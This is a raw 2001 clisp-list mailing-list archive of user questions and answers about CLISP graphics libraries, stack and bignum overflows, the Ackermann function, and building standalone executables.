(root@dragstrip.tjhsst.edu [198.38.17.24]) by threat.tjhsst.edu (8.11.3/8.11.3) with ESMTP id f94JCYp31998 for ; Thu, 4 Oct 2001 15:12:34 -0400 Received: from localhost (rlatimer@localhost) by dragstrip.tjhsst.edu (8.9.3/8.9.3) with ESMTP id PAA07232 for ; Thu, 4 Oct 2001 15:12:34 -0400 From: Randy Latimer To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] CLisp Graphics? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 4 12:13:18 2001 X-Original-Date: Thu, 4 Oct 2001 15:12:34 -0400 (EDT) I teach computer science using CLisp on a linux system. Is there a graphics package out there that I can use with CLisp? Thanks, Randy Latimer, rlatimer@tjhsst.edu From sds@gnu.org Thu Oct 04 13:15:20 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15pEtr-0005Jm-00 for ; Thu, 04 Oct 2001 13:15:20 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA23573; Thu, 4 Oct 2001 16:15:13 -0400 (EDT) X-Envelope-To: To: Randy Latimer Cc: Subject: Re: [clisp-list] CLisp Graphics? References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.107 Message-ID: Lines: 20 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 4 13:16:02 2001 X-Original-Date: 04 Oct 2001 16:13:55 -0400 > * In message > * On the subject of "[clisp-list] CLisp Graphics?" > * Sent on Thu, 4 Oct 2001 15:12:34 -0400 (EDT) > * Honorable Randy Latimer writes: > > I teach computer science using CLisp on a linux system. Is there a > graphics package out there that I can use with CLisp? your options are many (see http://clisp.cons.org/resources.html): SLIK, Garnet, with-wish, GTK... CLISP comes with CLX, so you can use it as well as anything which runs on it (CLIO? CLUE?) you can also use your browser as the GUI (see CLISP inspect). -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on There is an exception to every rule, including this one. From sds@gnu.org Fri Oct 05 08:42:29 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15pX7N-0002hs-00 for ; Fri, 05 Oct 2001 08:42:29 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA20929; Fri, 5 Oct 2001 11:42:26 -0400 (EDT) X-Envelope-To: To: "Rolf Wester" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Program stack overflow References: <3B96320E.11873.2F5FBAB2@localhost> <3B965BA9.26098.3002410B@localhost> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3B965BA9.26098.3002410B@localhost> Message-ID: Lines: 39 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.107 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 5 08:43:03 2001 X-Original-Date: 05 Oct 2001 11:41:32 -0400 > * In message <3B965BA9.26098.3002410B@localhost> > * On the subject of "Re: [clisp-list] Program stack overflow" > * Sent on Wed, 5 Sep 2001 17:06:49 +0200 > * Honorable "Rolf Wester" writes: > > (defun read-file (name) > (let ((x (make-array '(1046529) :element-type 'single-float :initial-element 0.0 :fill-pointer 0 :adjustable t)) > (y (make-array '(1046529) :element-type 'single-float :initial-element 0.0 :fill-pointer 0 :adjustable t)) > (z (make-array '(1046529) :element-type 'single-float :initial-element 0.0 :fill-pointer 0 :adjustable t))) > (with-open-file (in name) > (do ((n 0 (+ 1 n)) > (xx (read in nil 'eof) (read in nil 'eof)) > (yy (read in nil 'eof) (read in nil 'eof)) > (zz (read in nil 'eof) (read in nil 'eof))) > ((eql zz 'eof)) > (progn (vector-push-extend (float xx 1f0) x) > (vector-push-extend (float yy 1f0) y) > (vector-push-extend (float zz 1f0) z) > (print n)))) > (values x y z))) > (compile 'read-file) > (progn > (setq result (multiple-value-call #'list (read-file "test2.txt"))) > nil) > > The last number printed before the error message was 223346. I can no longer reproduce this with the current CVS CLISP. could you please be so kind as to get the CLISP sources from the CVS, build them and try your code again? thanks a lot! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Life is like a diaper -- short and loaded. From CavaleiroZ@aol.com Sat Oct 06 18:20:58 2001 Received: from imo-m10.mx.aol.com ([64.12.136.165]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15q2cj-0004kk-00 for ; Sat, 06 Oct 2001 18:20:57 -0700 Received: from CavaleiroZ@aol.com by imo-m10.mx.aol.com (mail_out_v31_r1.7.) id 6.139.2b12429 (4426) for ; Sat, 6 Oct 2001 21:20:46 -0400 (EDT) From: CavaleiroZ@aol.com Message-ID: <139.2b12429.28f107ee@aol.com> To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_139.2b12429.28f107ee_boundary" X-Mailer: AOL 6.0 for Windows BR sub 10508 Subject: [clisp-list] How do I make .exe files in CLISP? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 6 18:21:03 2001 X-Original-Date: Sat, 6 Oct 2001 21:20:46 EDT --part1_139.2b12429.28f107ee_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Is there any way to build a standalone excutable file using CLISP? --part1_139.2b12429.28f107ee_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit Is there any way to build a standalone excutable file using CLISP? --part1_139.2b12429.28f107ee_boundary-- From ampy@ich.dvo.ru Mon Oct 08 05:07:12 2001 Received: from ints.vtc.ru ([212.16.193.34]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15qZBU-0008MD-00 for ; Mon, 08 Oct 2001 05:07:00 -0700 Received: from ppp118-AS-2.vtc.ru (ppp118-AS-2.vtc.ru [212.16.216.118]) by ints.vtc.ru (8.9.3/8.9.3) with ESMTP id XAA12670; Mon, 8 Oct 2001 23:04:31 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <788491560.20011008230511@ich.dvo.ru> To: CavaleiroZ@aol.com CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How do I make .exe files in CLISP? In-reply-To: <139.2b12429.28f107ee@aol.com> References: <139.2b12429.28f107ee@aol.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 8 05:08:04 2001 X-Original-Date: Mon, 8 Oct 2001 23:05:11 +1000 Hello CavaleiroZ, Sunday, October 07, 2001, 11:20:46 AM, you wrote: CavaleiroZ> Is there any way to build a CavaleiroZ> standalone excutable file using CLISP? No. -- Best regards, Arseny From rurban@x-ray.at Mon Oct 08 05:30:43 2001 Received: from mailrelay.tu-graz.ac.at ([129.27.3.7] helo=mailrelay.tugraz.at) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15qZYQ-0005We-00 for ; Mon, 08 Oct 2001 05:30:42 -0700 Received: from x-ray.at (chello212186199154.sc-graz.chello.at [212.186.199.154]) by mailrelay.tugraz.at (8.12.1/8.12.1) with ESMTP id f98CTlOj002626 for ; Mon, 8 Oct 2001 14:29:48 +0200 (MEST) Message-ID: <3BC19C69.C0564219@x-ray.at> From: Reini Urban Organization: http://www.x-ray.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: de,en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] How do I make .exe files in CLISP? References: <139.2b12429.28f107ee@aol.com> <788491560.20011008230511@ich.dvo.ru> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: by AMaViS-perl11-milter (http://amavis.org/) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 8 05:31:02 2001 X-Original-Date: Mon, 08 Oct 2001 13:30:33 +0100 Arseny Slobodjuck schrieb: > Sunday, October 07, 2001, 11:20:46 AM, you wrote: > CavaleiroZ> Is there any way to build a > CavaleiroZ> standalone excutable file using CLISP? > No. sorry. that's wrong. There are many ways. Some ways are described in the docs. you just have to create a loader, which initializes clisp with your image. see clisp.c under windows you can also embed the lisp image inside the exe, as it is done in cormanlisp for example. (one-file-exe in a custom binary resource) no big deal. or you can undump an exe with the image data as it is done in emacs/xemacs, similar to most lisps. under unix you can follow impnotes.html#quickstart the easiest is something like: #!/bin/sh exec clisp <; Mon, 08 Oct 2001 09:31:19 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.11.6/8.9.3) id f98GTTU25705; Mon, 8 Oct 2001 12:29:29 -0400 Message-Id: <200110081629.f98GTTU25705@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: ampy@ich.dvo.ru CC: CavaleiroZ@aol.com, clisp-list@lists.sourceforge.net In-reply-to: <788491560.20011008230511@ich.dvo.ru> (message from Arseny Slobodjuck on Mon, 8 Oct 2001 23:05:11 +1000) Subject: Re: [clisp-list] How do I make .exe files in CLISP? References: <139.2b12429.28f107ee@aol.com> <788491560.20011008230511@ich.dvo.ru> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 8 09:32:02 2001 X-Original-Date: Mon, 8 Oct 2001 12:29:29 -0400 > From: Arseny Slobodjuck > Reply-To: Arseny Slobodjuck > Organization: ICH > X-Priority: 3 (Normal) > CC: clisp-list@lists.sourceforge.net > Content-Type: text/plain; charset=us-ascii > Sender: clisp-list-admin@lists.sourceforge.net > X-BeenThere: clisp-list@lists.sourceforge.net > X-Mailman-Version: 2.0.5 > Precedence: bulk > List-Help: > List-Post: > List-Subscribe: , > > List-Id: CLISP user discussion > List-Unsubscribe: , > > List-Archive: > X-Original-Date: Mon, 8 Oct 2001 23:05:11 +1000 > Date: Mon, 8 Oct 2001 23:05:11 +1000 > Content-Length: 356 > > Hello CavaleiroZ, > > Sunday, October 07, 2001, 11:20:46 AM, you wrote: > > CavaleiroZ> Is there any way to build a > CavaleiroZ> standalone excutable file using CLISP? > No. Well. Define "standalone". You can always construct a .BAT file and run it from there. Would this be ok? If not, why? Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From sds@gnu.org Mon Oct 08 12:40:53 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15qgGj-0002dX-00 for ; Mon, 08 Oct 2001 12:40:53 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id PAA17883; Mon, 8 Oct 2001 15:40:49 -0400 (EDT) X-Envelope-To: To: clisp-list@sourceforge.net, wbuss@gmx.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.107 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] clisp & acl2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 8 12:41:03 2001 X-Original-Date: 08 Oct 2001 15:40:03 -0400 The maintainers of the ACL2 say that ACL2 will work on CLISP starting with ACL 2.6 (the next version of ACL2, due out by the end of the year). -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Whom computers would destroy, they must first drive mad. From ampy@ich.dvo.ru Mon Oct 08 17:53:35 2001 Received: from chemi.ich.dvo.ru ([62.76.7.28]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15ql7Y-0004d7-00 for ; Mon, 08 Oct 2001 17:51:45 -0700 Received: from KAVUN (kavun.ich.dvo.ru [192.168.81.32]) by chemi.ich.dvo.ru (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id LAA08045; Tue, 9 Oct 2001 11:50:36 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1116882746.20011009115140@ich.dvo.ru> To: Marco Antoniotti CC: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] How do I make .exe files in CLISP? In-reply-To: <200110081629.f98GTTU25705@octagon.mrl.nyu.edu> References: <139.2b12429.28f107ee@aol.com> <788491560.20011008230511@ich.dvo.ru> <200110081629.f98GTTU25705@octagon.mrl.nyu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 8 17:55:03 2001 X-Original-Date: Tue, 9 Oct 2001 11:51:40 +1000 Hello Marco, Tuesday, October 09, 2001, 2:29:29 AM, you wrote: >> CavaleiroZ> Is there any way to build a >> CavaleiroZ> standalone excutable file using CLISP? >> No. Marco> Well. Define "standalone". You can always construct a .BAT file and Marco> run it from there. Would this be ok? If not, why? Reading the question with telepathic mode on I decided that standalone executable mean simply 'binary native OS executable generated by compiler from sources'. While one can always use clisp itself as a stand (not so)alone executable it will not executable being built by user. -- Best regards, Arseny From sds@gnu.org Tue Oct 09 09:21:25 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15qzdF-0000is-00 for ; Tue, 09 Oct 2001 09:21:25 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id MAA04389; Tue, 9 Oct 2001 12:21:22 -0400 (EDT) X-Envelope-To: To: CavaleiroZ@aol.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How do I make .exe files in CLISP? References: <139.2b12429.28f107ee@aol.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <139.2b12429.28f107ee@aol.com> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.107 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 9 09:22:12 2001 X-Original-Date: 09 Oct 2001 12:20:00 -0400 > * In message <139.2b12429.28f107ee@aol.com> > * On the subject of "[clisp-list] How do I make .exe files in CLISP?" > * Sent on Sat, 6 Oct 2001 21:20:46 EDT > * Honorable CavaleiroZ@aol.com writes: > > Is there any way to build a standalone excutable file using CLISP? I don't think that the notion "standalone executable file" makes sense. There have been no such things since DLL/SO (dynamically linked libraries/shared objects) have been introduced. Please see for the answer to the question you meant to ask :-) -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on There's always free cheese in a mousetrap. From ben-lists@benpharr.com Tue Oct 09 13:03:14 2001 Received: from walden.phpwebhosting.com ([64.65.61.214]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15r35u-0007pp-00 for ; Tue, 09 Oct 2001 13:03:14 -0700 Received: (qmail 20355 invoked by uid 508); 9 Oct 2001 20:03:06 -0000 Received: from unknown (HELO benpharr.benpharr.com) (65.169.83.235) by walden.phpwebhosting.com with SMTP; 9 Oct 2001 20:03:06 -0000 Message-Id: <5.1.0.14.0.20011009145402.00a6c410@sunset.olemiss.edu> X-Sender: ben-lists%benpharr.com@mail.benpharr.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Ben Pharr - Lists Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] overflow during multiplication of large numbers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 9 13:04:06 2001 X-Original-Date: Tue, 09 Oct 2001 15:03:16 -0500 I have programmed a partially iterative function to calculate Ackermann's function. The iterative part is for cases of m=0 through m=3. Anything above that is done with recursion. I have compiled the function. A(4, 2) can be calculated in a fraction of a second. The result is a number with more than 19,000 digits. However, A(4, 3) gives me an error. It says: *** - overflow during multiplication of large numbers This occurs within a second of executing the function. I am doing this on Debian Linux, so I thought maybe the ulimit was getting in the way. ulimit is set to unlimited, and I have 320MBs of RAM. I thought maybe unlimited wasn't really unlimited, so I set it to 300MB and tried again with the same results. While it is possible A( 4, 3) would cause an overflow, I don't think it's taking enough time to find out, given how quickly A(4, 2) is computed. Can anyone give me some advice. Thanks! Ben Pharr From ben-lists@benpharr.com Tue Oct 09 13:35:25 2001 Received: from walden.phpwebhosting.com ([64.65.61.214]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15r3b2-000461-00 for ; Tue, 09 Oct 2001 13:35:25 -0700 Received: (qmail 21885 invoked by uid 508); 9 Oct 2001 20:35:16 -0000 Received: from unknown (HELO benpharr.benpharr.com) (65.169.83.235) by walden.phpwebhosting.com with SMTP; 9 Oct 2001 20:35:16 -0000 Message-Id: <5.1.0.14.0.20011009153354.00a52ec0@mail.benpharr.com> X-Sender: ben-lists%benpharr.com@mail.benpharr.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Ben Pharr - Lists Subject: RE: [clisp-list] overflow during multiplication of large numbers In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 9 13:36:10 2001 X-Original-Date: Tue, 09 Oct 2001 15:35:25 -0500 I tried starting with: clisp -m 300MB then (load "ackermann.fas") then (ackermann 4 3) It still gives me the same error. Any more ideas? Ben Pharr At 03:10 PM 10/9/01 -0500, you wrote: >look at the "-m" on startup... > >Randy > >-----Original Message----- >From: Ben Pharr - Lists >[mailto:ben-lists@benpharr.com] >Sent: Tuesday, October 09, 2001 3:03 PM >To: clisp-list@lists.sourceforge.net >Subject: [clisp-list] overflow during multiplication of large numbers > >I have programmed a partially iterative function to calculate Ackermann's >function. The iterative part is for cases of m=0 through m=3. Anything >above that is done with recursion. I have compiled the function. A(4, 2) >can be calculated in a fraction of a second. The result is a number with >more than 19,000 digits. However, A(4, 3) gives me an error. It says: > >*** - overflow during multiplication of large numbers > >This occurs within a second of executing the function. I am doing this on >Debian Linux, so I thought maybe the ulimit was getting in the way. ulimit >is set to unlimited, and I have 320MBs of RAM. I thought maybe unlimited >wasn't really unlimited, so I set it to 300MB and tried again with the same >results. > >While it is possible A( 4, 3) would cause an overflow, I don't think it's >taking enough time to find out, given how quickly A(4, 2) is computed. Can >anyone give me some advice. Thanks! > >Ben Pharr > >_______________________________________________ >clisp-list mailing list >clisp-list@lists.sourceforge.net >https://lists.sourceforge.net/lists/listinfo/clisp-list > From sds@gnu.org Tue Oct 09 13:37:25 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15r3cz-0004Nu-00 for ; Tue, 09 Oct 2001 13:37:25 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA06671; Tue, 9 Oct 2001 16:37:22 -0400 (EDT) X-Envelope-To: To: Ben Pharr - Lists Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] overflow during multiplication of large numbers References: <5.1.0.14.0.20011009145402.00a6c410@sunset.olemiss.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.0.20011009145402.00a6c410@sunset.olemiss.edu> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.107 Message-ID: Lines: 48 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 9 13:38:07 2001 X-Original-Date: 09 Oct 2001 16:35:52 -0400 Ackermann's function grows fast. No, not just fast, but _VERY FAST_. A(4,1) = 2^16 - 3 A(4,2) ~ 2^(A(4,1)) A(4,3) ~ 2^(A(4,2)) if you to represent a number X with log X bits, then A(4,1) is a 16-bit (2 byte) number, while A(4,2) is an 8kB number. now, A(4,3) is a 2^(2^16) - bit number. there isn't a word for this monster. there isn't enough matter in the observable universe to record it. if google is 10^100 (~2^333), then A(4,3) is about google^197. there are fewer than a google particles in the universe. I hope I am sufficiently clear. > * In message <5.1.0.14.0.20011009145402.00a6c410@sunset.olemiss.edu> > * On the subject of "[clisp-list] overflow during multiplication of large numbers" > * Sent on Tue, 09 Oct 2001 15:03:16 -0500 > * Honorable Ben Pharr - Lists writes: > > I have programmed a partially iterative function to calculate > Ackermann's function. The iterative part is for cases of m=0 through > m=3. Anything above that is done with recursion. I have compiled the > function. A(4, 2) can be calculated in a fraction of a second. The > result is a number with more than 19,000 digits. However, A(4, 3) > gives me an error. It says: > > *** - overflow during multiplication of large numbers > > This occurs within a second of executing the function. I am doing this > on Debian Linux, so I thought maybe the ulimit was getting in the > way. ulimit is set to unlimited, and I have 320MBs of RAM. I thought > maybe unlimited wasn't really unlimited, so I set it to 300MB and > tried again with the same results. > > While it is possible A( 4, 3) would cause an overflow, I don't think > it's taking enough time to find out, given how quickly A(4, 2) is > computed. Can anyone give me some advice. Thanks! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on XFM: Exit file manager? [Continue] [Cancel] [Abort] From Randy.Justice@cnet.navy.mil Tue Oct 09 13:44:07 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15r3ix-0005Ty-00 for ; Tue, 09 Oct 2001 13:43:35 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id PAA29722; Tue, 9 Oct 2001 15:42:55 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id <4NT7TN6Y>; Tue, 9 Oct 2001 15:44:04 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: "'Ben Pharr - Lists'" , clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] overflow during multiplication of large numbers MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C15103.1C8BCBC0" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 9 13:45:05 2001 X-Original-Date: Tue, 9 Oct 2001 15:43:54 -0500 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C15103.1C8BCBC0 Content-Type: text/plain; charset="iso-8859-1" It might not be the best method, but use the "top" command and check the memory usage. It should be available on your unix box.... -----Original Message----- From: Ben Pharr - Lists [mailto:ben-lists@benpharr.com] Sent: Tuesday, October 09, 2001 3:35 PM To: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] overflow during multiplication of large numbers I tried starting with: clisp -m 300MB then (load "ackermann.fas") then (ackermann 4 3) It still gives me the same error. Any more ideas? Ben Pharr At 03:10 PM 10/9/01 -0500, you wrote: >look at the "-m" on startup... > >Randy > >-----Original Message----- >From: Ben Pharr - Lists >[mailto:ben-lists@benpharr.com] >Sent: Tuesday, October 09, 2001 3:03 PM >To: clisp-list@lists.sourceforge.net >Subject: [clisp-list] overflow during multiplication of large numbers > >I have programmed a partially iterative function to calculate Ackermann's >function. The iterative part is for cases of m=0 through m=3. Anything >above that is done with recursion. I have compiled the function. A(4, 2) >can be calculated in a fraction of a second. The result is a number with >more than 19,000 digits. However, A(4, 3) gives me an error. It says: > >*** - overflow during multiplication of large numbers > >This occurs within a second of executing the function. I am doing this on >Debian Linux, so I thought maybe the ulimit was getting in the way. ulimit >is set to unlimited, and I have 320MBs of RAM. I thought maybe unlimited >wasn't really unlimited, so I set it to 300MB and tried again with the same >results. > >While it is possible A( 4, 3) would cause an overflow, I don't think it's >taking enough time to find out, given how quickly A(4, 2) is computed. Can >anyone give me some advice. Thanks! > >Ben Pharr > >_______________________________________________ >clisp-list mailing list >clisp-list@lists.sourceforge.net >https://lists.sour ceforge.net/lists/listinfo/clisp-list > _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/clisp-list ------_=_NextPart_001_01C15103.1C8BCBC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [clisp-list] overflow during multiplication of large = numbers

It might not be the best method, but use the = "top" command and check the memory usage.

It should be available on your unix box....



-----Original Message-----
From: Ben Pharr - Lists [mailto:ben-lists@benpharr.com= ]
Sent: Tuesday, October 09, 2001 3:35 PM
To: clisp-list@lists.sourceforge.net
Subject: RE: [clisp-list] overflow during = multiplication of large
numbers


I tried starting with:

clisp -m 300MB

then

(load "ackermann.fas")

then

(ackermann 4 3)

It still gives me the same error. Any more = ideas?

Ben Pharr


At 03:10 PM 10/9/01 -0500, you wrote:

>look at the "-m" on startup...
>
>Randy
>
>-----Original Message-----
>From: Ben Pharr - Lists
